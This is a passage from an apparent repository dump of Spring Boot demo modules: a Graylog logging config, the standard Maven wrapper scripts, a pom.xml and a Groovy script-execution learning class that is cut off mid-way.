<maxChunkSize>508</maxChunkSize>\n    <useCompression>true</useCompression>\n    <encoder class=\"de.siegmar.logbackgelf.GelfEncoder\">\n      <includeRawMessage>true</includeRawMessage>\n      <includeMarker>true</includeMarker>\n      <includeMdcData>true</includeMdcData>\n      <includeCallerData>false</includeCallerData>\n      <includeRootCauseData>false</includeRootCauseData>\n      <includeLevelName>true</includeLevelName>\n      <shortPatternLayout class=\"ch.qos.logback.classic.PatternLayout\">\n        <pattern>${GRAY_LOG_SHORT_PATTERN}</pattern>\n      </shortPatternLayout>\n      <fullPatternLayout class=\"ch.qos.logback.classic.PatternLayout\">\n        <pattern>${GRAY_LOG_FULL_PATTERN}</pattern>\n      </fullPatternLayout>\n      <staticField>app_name:${APP_NAME}</staticField>\n      <staticField>os_arch:${os.arch}</staticField>\n      <staticField>os_name:${os.name}</staticField>\n      <staticField>os_version:${os.version}</staticField>\n    </encoder>\n  </appender>\n\n  <!-- 日志输出级别 -->\n  <root level=\"INFO\">\n    <appender-ref ref=\"STDOUT\"/>\n    <appender-ref ref=\"GELF\" />\n  </root>\n\n  <logger name=\"net.sf.ehcache\" level=\"INFO\"/>\n  <logger name=\"druid.sql\" level=\"INFO\"/>\n\n\n  <!-- MyBatis log configure -->\n  <logger name=\"com.apache.ibatis\" level=\"INFO\"/>\n  <logger name=\"org.mybatis.spring\" level=\"DEBUG\"/>\n  <logger name=\"java.sql.Connection\" level=\"DEBUG\"/>\n  <logger name=\"java.sql.Statement\" level=\"DEBUG\"/>\n  <logger name=\"java.sql.PreparedStatement\" level=\"DEBUG\"/>\n\n  <!-- 减少部分debug日志 -->\n  <logger name=\"druid.sql\" level=\"INFO\"/>\n  <logger name=\"org.apache.shiro\" level=\"INFO\"/>\n  <logger name=\"org.mybatis.spring\" level=\"INFO\"/>\n  <logger name=\"org.springframework\" level=\"INFO\"/>\n  <logger name=\"org.springframework.context\" level=\"WARN\"/>\n  <logger name=\"org.springframework.beans\" level=\"WARN\"/>\n  <logger name=\"com.baomidou.mybatisplus\" level=\"INFO\"/>\n  <logger name=\"org.apache.ibatis.io\" level=\"INFO\"/>\n  <logger name=\"org.apache.velocity\" level=\"INFO\"/>\n  <logger name=\"org.eclipse.jetty\" level=\"INFO\"/>\n  <logger name=\"io.undertow\" level=\"INFO\"/>\n  <logger name=\"org.xnio.nio\" level=\"INFO\"/>\n  <logger name=\"org.thymeleaf\" level=\"INFO\"/>\n  <logger name=\"springfox.documentation\" level=\"INFO\"/>\n  <logger name=\"org.hibernate.validator\" level=\"INFO\"/>\n  <logger name=\"com.netflix.loadbalancer\" level=\"INFO\"/>\n  <logger name=\"com.netflix.hystrix\" level=\"INFO\"/>\n  <logger name=\"com.netflix.zuul\" level=\"INFO\"/>\n  <logger name=\"de.codecentric\" level=\"INFO\"/>\n  <!-- cache INFO -->\n  <logger name=\"net.sf.ehcache\" level=\"INFO\"/>\n  <logger name=\"org.springframework.cache\" level=\"INFO\"/>\n  <!-- cloud -->\n  <logger name=\"org.apache.http\" level=\"INFO\"/>\n  <logger name=\"com.netflix.discovery\" level=\"INFO\"/>\n  <logger name=\"com.netflix.eureka\" level=\"INFO\"/>\n  <!-- 业务日志 -->\n  <Logger name=\"com.jun.plugin\" level=\"DEBUG\"/>\n\n</configuration>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_graylog/src/test/java/com/jun/plugin/graylog/SpringBootDemoGraylogApplicationTests.java",
    "content": "package com.jun.plugin.graylog;\n\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.springframework.boot.test.context.SpringBootTest;\nimport org.springframework.test.context.junit4.SpringRunner;\n\n@RunWith(SpringRunner.class)\n@SpringBootTest\npublic class SpringBootDemoGraylogApplicationTests {\n\n    @Test\n    public void contextLoads() {\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/.gitignore",
    "content": "HELP.md\ntarget/\n!.mvn/wrapper/maven-wrapper.jar\n!**/src/main/**/target/\n!**/src/test/**/target/\n\n### STS ###\n.apt_generated\n.classpath\n.factorypath\n.project\n.settings\n.springBeans\n.sts4-cache\n\n### IntelliJ IDEA ###\n.idea\n*.iws\n*.iml\n*.ipr\n\n### NetBeans ###\n/nbproject/private/\n/nbbuild/\n/dist/\n/nbdist/\n/.nb-gradle/\nbuild/\n!**/src/main/**/build/\n!**/src/test/**/build/\n\n### VS Code ###\n.vscode/\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/mvnw",
    "content": "#!/bin/sh\n# ----------------------------------------------------------------------------\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements.  See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership.  The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License.  You may obtain a copy of the License at\n#\n#    https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied.  See the License for the\n# specific language governing permissions and limitations\n# under the License.\n# ----------------------------------------------------------------------------\n\n# ----------------------------------------------------------------------------\n# Maven Start Up Batch script\n#\n# Required ENV vars:\n# ------------------\n#   JAVA_HOME - location of a JDK home dir\n#\n# Optional ENV vars\n# -----------------\n#   M2_HOME - location of maven2's installed home dir\n#   MAVEN_OPTS - parameters passed to the Java VM when running Maven\n#     e.g. to debug Maven itself, use\n#       set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n#   MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n# ----------------------------------------------------------------------------\n\nif [ -z \"$MAVEN_SKIP_RC\" ] ; then\n\n  if [ -f /etc/mavenrc ] ; then\n    . /etc/mavenrc\n  fi\n\n  if [ -f \"$HOME/.mavenrc\" ] ; then\n    . \"$HOME/.mavenrc\"\n  fi\n\nfi\n\n# OS specific support.  $var _must_ be set to either true or false.\ncygwin=false;\ndarwin=false;\nmingw=false\ncase \"`uname`\" in\n  CYGWIN*) cygwin=true ;;\n  MINGW*) mingw=true;;\n  Darwin*) darwin=true\n    # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home\n    # See https://developer.apple.com/library/mac/qa/qa1170/_index.html\n    if [ -z \"$JAVA_HOME\" ]; then\n      if [ -x \"/usr/libexec/java_home\" ]; then\n        export JAVA_HOME=\"`/usr/libexec/java_home`\"\n      else\n        export JAVA_HOME=\"/Library/Java/Home\"\n      fi\n    fi\n    ;;\nesac\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  if [ -r /etc/gentoo-release ] ; then\n    JAVA_HOME=`java-config --jre-home`\n  fi\nfi\n\nif [ -z \"$M2_HOME\" ] ; then\n  ## resolve links - $0 may be a link to maven's home\n  PRG=\"$0\"\n\n  # need this for relative symlinks\n  while [ -h \"$PRG\" ] ; do\n    ls=`ls -ld \"$PRG\"`\n    link=`expr \"$ls\" : '.*-> \\(.*\\)$'`\n    if expr \"$link\" : '/.*' > /dev/null; then\n      PRG=\"$link\"\n    else\n      PRG=\"`dirname \"$PRG\"`/$link\"\n    fi\n  done\n\n  saveddir=`pwd`\n\n  M2_HOME=`dirname \"$PRG\"`/..\n\n  # make it fully qualified\n  M2_HOME=`cd \"$M2_HOME\" && pwd`\n\n  cd \"$saveddir\"\n  # echo Using m2 at $M2_HOME\nfi\n\n# For Cygwin, ensure paths are in UNIX format before anything is touched\nif $cygwin ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --unix \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --unix \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --unix \"$CLASSPATH\"`\nfi\n\n# For Mingw, ensure paths are in UNIX format before anything is touched\nif $mingw ; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=\"`(cd \"$M2_HOME\"; pwd)`\"\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=\"`(cd \"$JAVA_HOME\"; pwd)`\"\nfi\n\nif [ -z \"$JAVA_HOME\" ]; then\n  javaExecutable=\"`which javac`\"\n  if [ -n \"$javaExecutable\" ] && ! [ \"`expr \\\"$javaExecutable\\\" : '\\([^ ]*\\)'`\" = \"no\" ]; then\n    # readlink(1) is not available as standard on Solaris 10.\n    readLink=`which readlink`\n    if [ ! `expr \"$readLink\" : '\\([^ ]*\\)'` = \"no\" ]; then\n      if $darwin ; then\n        javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n        javaExecutable=\"`cd \\\"$javaHome\\\" && pwd -P`/javac\"\n      else\n        javaExecutable=\"`readlink -f \\\"$javaExecutable\\\"`\"\n      fi\n      javaHome=\"`dirname \\\"$javaExecutable\\\"`\"\n      javaHome=`expr \"$javaHome\" : '\\(.*\\)/bin'`\n      JAVA_HOME=\"$javaHome\"\n      export JAVA_HOME\n    fi\n  fi\nfi\n\nif [ -z \"$JAVACMD\" ] ; then\n  if [ -n \"$JAVA_HOME\"  ] ; then\n    if [ -x \"$JAVA_HOME/jre/sh/java\" ] ; then\n      # IBM's JDK on AIX uses strange locations for the executables\n      JAVACMD=\"$JAVA_HOME/jre/sh/java\"\n    else\n      JAVACMD=\"$JAVA_HOME/bin/java\"\n    fi\n  else\n    JAVACMD=\"`which java`\"\n  fi\nfi\n\nif [ ! -x \"$JAVACMD\" ] ; then\n  echo \"Error: JAVA_HOME is not defined correctly.\" >&2\n  echo \"  We cannot execute $JAVACMD\" >&2\n  exit 1\nfi\n\nif [ -z \"$JAVA_HOME\" ] ; then\n  echo \"Warning: JAVA_HOME environment variable is not set.\"\nfi\n\nCLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher\n\n# traverses directory structure from process work directory to filesystem root\n# first directory with .mvn subdirectory is considered project base directory\nfind_maven_basedir() {\n\n  if [ -z \"$1\" ]\n  then\n    echo \"Path not specified to find_maven_basedir\"\n    return 1\n  fi\n\n  basedir=\"$1\"\n  wdir=\"$1\"\n  while [ \"$wdir\" != '/' ] ; do\n    if [ -d \"$wdir\"/.mvn ] ; then\n      basedir=$wdir\n      break\n    fi\n    # workaround for JBEAP-8937 (on Solaris 10/Sparc)\n    if [ -d \"${wdir}\" ]; then\n      wdir=`cd \"$wdir/..\"; pwd`\n    fi\n    # end of workaround\n  done\n  echo \"${basedir}\"\n}\n\n# concatenates all lines of a file\nconcat_lines() {\n  if [ -f \"$1\" ]; then\n    echo \"$(tr -s '\\n' ' ' < \"$1\")\"\n  fi\n}\n\nBASE_DIR=`find_maven_basedir \"$(pwd)\"`\nif [ -z \"$BASE_DIR\" ]; then\n  exit 1;\nfi\n\n##########################################################################################\n# Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n# This allows using the maven wrapper in projects that prohibit checking in binary data.\n##########################################################################################\nif [ -r \"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\" ]; then\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Found .mvn/wrapper/maven-wrapper.jar\"\n    fi\nelse\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Couldn't find .mvn/wrapper/maven-wrapper.jar, downloading it ...\"\n    fi\n    if [ -n \"$MVNW_REPOURL\" ]; then\n      jarUrl=\"$MVNW_REPOURL/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    else\n      jarUrl=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    fi\n    while IFS=\"=\" read key value; do\n      case \"$key\" in (wrapperUrl) jarUrl=\"$value\"; break ;;\n      esac\n    done < \"$BASE_DIR/.mvn/wrapper/maven-wrapper.properties\"\n    if [ \"$MVNW_VERBOSE\" = true ]; then\n      echo \"Downloading from: $jarUrl\"\n    fi\n    wrapperJarPath=\"$BASE_DIR/.mvn/wrapper/maven-wrapper.jar\"\n    if $cygwin; then\n      wrapperJarPath=`cygpath --path --windows \"$wrapperJarPath\"`\n    fi\n\n    if command -v wget > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found wget ... using wget\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            wget \"$jarUrl\" -O \"$wrapperJarPath\"\n        else\n            wget --http-user=$MVNW_USERNAME --http-password=$MVNW_PASSWORD \"$jarUrl\" -O \"$wrapperJarPath\"\n        fi\n    elif command -v curl > /dev/null; then\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Found curl ... using curl\"\n        fi\n        if [ -z \"$MVNW_USERNAME\" ] || [ -z \"$MVNW_PASSWORD\" ]; then\n            curl -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        else\n            curl --user $MVNW_USERNAME:$MVNW_PASSWORD -o \"$wrapperJarPath\" \"$jarUrl\" -f\n        fi\n\n    else\n        if [ \"$MVNW_VERBOSE\" = true ]; then\n          echo \"Falling back to using Java to download\"\n        fi\n        javaClass=\"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.java\"\n        # For Cygwin, switch paths to Windows format before running javac\n        if $cygwin; then\n          javaClass=`cygpath --path --windows \"$javaClass\"`\n        fi\n        if [ -e \"$javaClass\" ]; then\n            if [ ! -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Compiling MavenWrapperDownloader.java ...\"\n                fi\n                # Compiling the Java class\n                (\"$JAVA_HOME/bin/javac\" \"$javaClass\")\n            fi\n            if [ -e \"$BASE_DIR/.mvn/wrapper/MavenWrapperDownloader.class\" ]; then\n                # Running the downloader\n                if [ \"$MVNW_VERBOSE\" = true ]; then\n                  echo \" - Running MavenWrapperDownloader.java ...\"\n                fi\n                (\"$JAVA_HOME/bin/java\" -cp .mvn/wrapper MavenWrapperDownloader \"$MAVEN_PROJECTBASEDIR\")\n            fi\n        fi\n    fi\nfi\n##########################################################################################\n# End of extension\n##########################################################################################\n\nexport MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-\"$BASE_DIR\"}\nif [ \"$MVNW_VERBOSE\" = true ]; then\n  echo $MAVEN_PROJECTBASEDIR\nfi\nMAVEN_OPTS=\"$(concat_lines \"$MAVEN_PROJECTBASEDIR/.mvn/jvm.config\") $MAVEN_OPTS\"\n\n# For Cygwin, switch paths to Windows format before running java\nif $cygwin; then\n  [ -n \"$M2_HOME\" ] &&\n    M2_HOME=`cygpath --path --windows \"$M2_HOME\"`\n  [ -n \"$JAVA_HOME\" ] &&\n    JAVA_HOME=`cygpath --path --windows \"$JAVA_HOME\"`\n  [ -n \"$CLASSPATH\" ] &&\n    CLASSPATH=`cygpath --path --windows \"$CLASSPATH\"`\n  [ -n \"$MAVEN_PROJECTBASEDIR\" ] &&\n    MAVEN_PROJECTBASEDIR=`cygpath --path --windows \"$MAVEN_PROJECTBASEDIR\"`\nfi\n\n# Provide a \"standardized\" way to retrieve the CLI args that will\n# work with both Windows and non-Windows executions.\nMAVEN_CMD_LINE_ARGS=\"$MAVEN_CONFIG $@\"\nexport MAVEN_CMD_LINE_ARGS\n\nWRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nexec \"$JAVACMD\" \\\n  $MAVEN_OPTS \\\n  -classpath \"$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar\" \\\n  \"-Dmaven.home=${M2_HOME}\" \"-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}\" \\\n  ${WRAPPER_LAUNCHER} $MAVEN_CONFIG \"$@\"\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/mvnw.cmd",
    "content": "@REM ----------------------------------------------------------------------------\n@REM Licensed to the Apache Software Foundation (ASF) under one\n@REM or more contributor license agreements.  See the NOTICE file\n@REM distributed with this work for additional information\n@REM regarding copyright ownership.  The ASF licenses this file\n@REM to you under the Apache License, Version 2.0 (the\n@REM \"License\"); you may not use this file except in compliance\n@REM with the License.  You may obtain a copy of the License at\n@REM\n@REM    https://www.apache.org/licenses/LICENSE-2.0\n@REM\n@REM Unless required by applicable law or agreed to in writing,\n@REM software distributed under the License is distributed on an\n@REM \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n@REM KIND, either express or implied.  See the License for the\n@REM specific language governing permissions and limitations\n@REM under the License.\n@REM ----------------------------------------------------------------------------\n\n@REM ----------------------------------------------------------------------------\n@REM Maven Start Up Batch script\n@REM\n@REM Required ENV vars:\n@REM JAVA_HOME - location of a JDK home dir\n@REM\n@REM Optional ENV vars\n@REM M2_HOME - location of maven2's installed home dir\n@REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands\n@REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a keystroke before ending\n@REM MAVEN_OPTS - parameters passed to the Java VM when running Maven\n@REM     e.g. to debug Maven itself, use\n@REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000\n@REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files\n@REM ----------------------------------------------------------------------------\n\n@REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on'\n@echo off\n@REM set title of command window\ntitle %0\n@REM enable echoing by setting MAVEN_BATCH_ECHO to 'on'\n@if \"%MAVEN_BATCH_ECHO%\" == \"on\"  echo %MAVEN_BATCH_ECHO%\n\n@REM set %HOME% to equivalent of $HOME\nif \"%HOME%\" == \"\" (set \"HOME=%HOMEDRIVE%%HOMEPATH%\")\n\n@REM Execute a user defined script before this one\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPre\n@REM check for pre script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_pre.bat\" call \"%HOME%\\mavenrc_pre.bat\"\nif exist \"%HOME%\\mavenrc_pre.cmd\" call \"%HOME%\\mavenrc_pre.cmd\"\n:skipRcPre\n\n@setlocal\n\nset ERROR_CODE=0\n\n@REM To isolate internal variables from possible post scripts, we use another setlocal\n@setlocal\n\n@REM ==== START VALIDATION ====\nif not \"%JAVA_HOME%\" == \"\" goto OkJHome\n\necho.\necho Error: JAVA_HOME not found in your environment. >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n:OkJHome\nif exist \"%JAVA_HOME%\\bin\\java.exe\" goto init\n\necho.\necho Error: JAVA_HOME is set to an invalid directory. >&2\necho JAVA_HOME = \"%JAVA_HOME%\" >&2\necho Please set the JAVA_HOME variable in your environment to match the >&2\necho location of your Java installation. >&2\necho.\ngoto error\n\n@REM ==== END VALIDATION ====\n\n:init\n\n@REM Find the project base dir, i.e. the directory that contains the folder \".mvn\".\n@REM Fallback to current working directory if not found.\n\nset MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR%\nIF NOT \"%MAVEN_PROJECTBASEDIR%\"==\"\" goto endDetectBaseDir\n\nset EXEC_DIR=%CD%\nset WDIR=%EXEC_DIR%\n:findBaseDir\nIF EXIST \"%WDIR%\"\\.mvn goto baseDirFound\ncd ..\nIF \"%WDIR%\"==\"%CD%\" goto baseDirNotFound\nset WDIR=%CD%\ngoto findBaseDir\n\n:baseDirFound\nset MAVEN_PROJECTBASEDIR=%WDIR%\ncd \"%EXEC_DIR%\"\ngoto endDetectBaseDir\n\n:baseDirNotFound\nset MAVEN_PROJECTBASEDIR=%EXEC_DIR%\ncd \"%EXEC_DIR%\"\n\n:endDetectBaseDir\n\nIF NOT EXIST \"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\" goto endReadAdditionalConfig\n\n@setlocal EnableExtensions EnableDelayedExpansion\nfor /F \"usebackq delims=\" %%a in (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\jvm.config\") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a\n@endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS%\n\n:endReadAdditionalConfig\n\nSET MAVEN_JAVA_EXE=\"%JAVA_HOME%\\bin\\java.exe\"\nset WRAPPER_JAR=\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.jar\"\nset WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain\n\nset DOWNLOAD_URL=\"https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n\nFOR /F \"tokens=1,2 delims==\" %%A IN (\"%MAVEN_PROJECTBASEDIR%\\.mvn\\wrapper\\maven-wrapper.properties\") DO (\n    IF \"%%A\"==\"wrapperUrl\" SET DOWNLOAD_URL=%%B\n)\n\n@REM Extension to allow automatically downloading the maven-wrapper.jar from Maven-central\n@REM This allows using the maven wrapper in projects that prohibit checking in binary data.\nif exist %WRAPPER_JAR% (\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Found %WRAPPER_JAR%\n    )\n) else (\n    if not \"%MVNW_REPOURL%\" == \"\" (\n        SET DOWNLOAD_URL=\"%MVNW_REPOURL%/io/takari/maven-wrapper/0.5.6/maven-wrapper-0.5.6.jar\"\n    )\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Couldn't find %WRAPPER_JAR%, downloading it ...\n        echo Downloading from: %DOWNLOAD_URL%\n    )\n\n    powershell -Command \"&{\"^\n\t\t\"$webclient = new-object System.Net.WebClient;\"^\n\t\t\"if (-not ([string]::IsNullOrEmpty('%MVNW_USERNAME%') -and [string]::IsNullOrEmpty('%MVNW_PASSWORD%'))) {\"^\n\t\t\"$webclient.Credentials = new-object System.Net.NetworkCredential('%MVNW_USERNAME%', '%MVNW_PASSWORD%');\"^\n\t\t\"}\"^\n\t\t\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $webclient.DownloadFile('%DOWNLOAD_URL%', '%WRAPPER_JAR%')\"^\n\t\t\"}\"\n    if \"%MVNW_VERBOSE%\" == \"true\" (\n        echo Finished downloading %WRAPPER_JAR%\n    )\n)\n@REM End of extension\n\n@REM Provide a \"standardized\" way to retrieve the CLI args that will\n@REM work with both Windows and non-Windows executions.\nset MAVEN_CMD_LINE_ARGS=%*\n\n%MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% \"-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%\" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %*\nif ERRORLEVEL 1 goto error\ngoto end\n\n:error\nset ERROR_CODE=1\n\n:end\n@endlocal & set ERROR_CODE=%ERROR_CODE%\n\nif not \"%MAVEN_SKIP_RC%\" == \"\" goto skipRcPost\n@REM check for post script, once with legacy .bat ending and once with .cmd ending\nif exist \"%HOME%\\mavenrc_post.bat\" call \"%HOME%\\mavenrc_post.bat\"\nif exist \"%HOME%\\mavenrc_post.cmd\" call \"%HOME%\\mavenrc_post.cmd\"\n:skipRcPost\n\n@REM pause the script if MAVEN_BATCH_PAUSE is set to 'on'\nif \"%MAVEN_BATCH_PAUSE%\" == \"on\" pause\n\nif \"%MAVEN_TERMINATE_CMD%\" == \"on\" exit %ERROR_CODE%\n\nexit /B %ERROR_CODE%\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.5.2</version>\n        <relativePath/> <!-- lookup parent from repository -->\n    </parent>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>springboot_groovy</artifactId>\n    <version>1.0</version>\n\n    <properties>\n        <java.version>1.8</java.version>\n    </properties>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>com.github.ben-manes.caffeine</groupId>\n            <artifactId>caffeine</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.codehaus.groovy</groupId>\n            <artifactId>groovy-jsr223</artifactId>\n            <version>2.5.4</version>\n        </dependency>\n      <!--  <dependency>\n            <groupId>org.codehaus.groovy</groupId>\n            <artifactId>groovy-all</artifactId>\n            <version>2.4.7</version>\n        </dependency>-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.58</version>\n        </dependency>\n        <dependency>\n            <groupId>cn.hutool</groupId>\n            <artifactId>hutool-all</artifactId>\n            <version>5.8.35</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n                <configuration>\n                    <excludes>\n                        <exclude>\n                            <groupId>org.projectlombok</groupId>\n                            <artifactId>lombok</artifactId>\n                        </exclude>\n                    </excludes>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n</project>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/src/main/java/com/example/demo/DemoApplication.java",
    "content": "package com.example.demo;\n\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\n\n@SpringBootApplication\npublic class DemoApplication {\n\n    public static void main(String[] args) {\n        SpringApplication.run(DemoApplication.class, args);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_groovy/src/main/java/com/example/demo/Groovy.java",
    "content": "package com.example.demo;\n\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport javax.script.Bindings;\nimport javax.script.Invocable;\nimport javax.script.ScriptContext;\nimport javax.script.ScriptEngine;\nimport javax.script.ScriptEngineFactory;\nimport javax.script.ScriptEngineManager;\n\nimport cn.hutool.json.JSONUtil;\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport groovy.lang.GroovyClassLoader;\nimport groovy.lang.GroovyObject;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.core.env.Environment;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport groovy.lang.Binding;\nimport groovy.lang.Script;\nimport groovy.util.GroovyScriptEngine;\n\n/**\n * @author lyz\n * 类说明 java调用 groovy 学习\n */\n@RestController\npublic class Groovy {\n\n    @Autowired\n    Environment env;\n\n    /**\n     * @param filepath\n     *            groovy脚本文件的路径(当参数为null默认指定工程路径下的groovy文件夹)\n     * @param filename\n     *            groovy脚本文件名字\n     * @param params\n     *            执行脚本的参数\n     * @return 返回执行结果\n     */\n    public Object runGroovyScriptByFile(String[] filepath, String filename, Map<String, Object> params) {\n\n        if (filepath == null || filepath.length == 0)\n            filepath = new String[] { \"grovvy\\\\\" };// 定义Groovy脚本引擎的根路径\n\n        try {\n            // String[]{\".\\\\src\\\\main\\\\java\\\\com\\\\senyint\\\\util\\\\\"}\n            GroovyScriptEngine engine = new GroovyScriptEngine(filepath);\n            return engine.run(filename, new Binding(params));\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    /**\n     * @param filepath\n     *            groovy脚本文件的路径(当参数为null默认指定工程路径下的groovy文件夹)\n     * @param filename\n     *            groovy脚本文件名字\n     * @param funname\n     *            执行指定的方法名称\n     * @param params\n     *            执行脚本的参数\n     * @return 返回执行结果\n     */\n    public Object runGroovyScriptByFile(String[] filepath, String filename, String funname, Object[] params) {\n\n        if (filepath == null || filepath.length == 0)\n            filepath = new String[] { \"grovvy\\\\\" };// 定义Groovy脚本引擎的根路径\n        try {\n            // String[]{\".\\\\src\\\\main\\\\java\\\\com\\\\senyint\\\\util\\\\\"}\n            GroovyScriptEngine engine = new GroovyScriptEngine(filepath);\n            Script script = engine.createScript(filename, new Binding());\n            return script.invokeMethod(funname, params);\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    /**\n     * @desc 执行groovy脚本(不指定方法)\n     * @param script\n     *            要执行的脚本 通过字符串传入，应用场景 如从数据库中读取出来的脚本等\n     * @param params\n     *            执行grovvy需要传入的参数\n     * @return 脚本执行结果\n     */\n    public Object runGroovyScript(String script, Map<String, Object> params) {\n        if (script == null || \"\".equals(script))\n            throw new RuntimeException(\"方法runGroovyScript无法执行，传入的脚本为空\");\n\n        try {\n            ScriptEngineManager factory = new ScriptEngineManager();\n            ScriptEngine engine = factory.getEngineByName(\"groovy\");\n            Bindings bindings = engine.createBindings();\n            bindings.putAll(params);\n            return engine.eval(script, bindings);\n        } catch (Exception e) {\n            // TODO Auto-generated catch block\n            e.printStackTrace();\n            return null;\n        }\n    }\n\n    /**\n     * @desc 执行groovy脚本(需要指定方法名)\n     * @param script\n     *            